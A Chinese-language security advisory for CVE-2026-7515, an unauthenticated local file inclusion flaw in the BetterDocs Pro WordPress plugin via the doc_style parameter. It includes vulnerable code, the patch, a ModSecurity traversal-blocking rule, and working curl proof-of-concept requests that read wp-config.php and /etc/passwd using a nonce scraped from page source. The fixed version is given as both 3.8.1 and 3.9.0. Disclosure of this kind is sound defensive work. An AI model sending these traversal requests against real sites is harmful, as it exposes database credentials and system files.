| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-7515 |
| CVSS 分数 | 9.8 (严重) |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | BetterDocs Pro <= 3.8.0 |
| 修复版本 | 3.8.1 |
| 研究人员 | Nguyen Ngoc Duc (duc193) |
| 发布日期 | 2026年6月18日 |
| CWE | CWE-98: 文件包含/请求语句的文件名控制不当 |
WordPress 的 BetterDocs Pro 插件在 3.8.0 及之前版本中存在本地文件包含漏洞,通过 doc_style 参数。这允许未认证的攻击者在服务器上包含并执行任意 PHP 文件。
文件: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
行: 141
// 漏洞代码 (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
问题: 来自 $_POST['doc_style'] 的用户可控输入被直接使用,未进行任何验证。
文件: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
行: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
问题: 变量 $doc_style(用户可控)被直接插值到传递给 views->get() 的文件路径中,从而包含该文件。
HTTP POST 请求
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
无验证(受影响版本 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
通过 include() 或 require() 进行文件包含
↓
任意 PHP 代码执行 / 文件读取
// includes/Core/Encyclopedia.php 第 141 行
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// includes/Core/Encyclopedia.php 第 145-148 行
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
两个端点均使用 nopriv 钩子注册,这意味着未认证用户可以访问:
// 第 17-18 行
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// 第 20-21 行
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce(在包含 BetterDocs 百科知识图块的页面的页面源代码中找到)# 步骤 1:读取 wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# 步骤 2:读取 /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
encyclopedia_nonce 在渲染了 BetterDocs 百科知识图块的页面上的 JavaScript 中暴露:
// in betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- 你需要这个
};
更新到 BetterDocs Pro 3.8.1 或更高版本
将以下补丁应用于 includes/Core/Encyclopedia.php:
// 将第 141 行替换为:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
对第 236 行应用相同的修复。
添加规则以阻止 doc_style 参数中的路径遍历:
# 阻止包含路径遍历模式的 doc_style
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"
受影响版本: betterdocs-pro_3.8.0.zip
修复版本: betterdocs-pro_3.9.0.zip
关键文件:
- includes/Core/Encyclopedia.php (含漏洞)
- includes/Core/Scripts.php (包含 nonce 生成)
- includes/Utils/Views.php (文件包含逻辑)
| 方面 | 受影响版本 (3.8.0) | 修复版本 (3.8.1) |
|---|
| 验证 | 无 | 使用 in_array() 的白名单 |
| 允许的值 | 任意字符串 | 仅 doc-grid, doc-list, doc-list-2 |
| 类型检查 | 否 | 严格 (===) 比较 |
| 影响类型 | 严重性 | 描述 |
|---|
| 机密性 | 高 | 读取任意文件(wp-config.php、/etc/passwd 等) |
| 完整性 | 高 | 修改或删除文件 |
| 可用性 | 高 | 拒绝服务 |
| 访问向量 | 网络 | 可远程利用 |
| 权限 | 无 | 无需认证 |
| 用户交互 | 无 | 不需要 |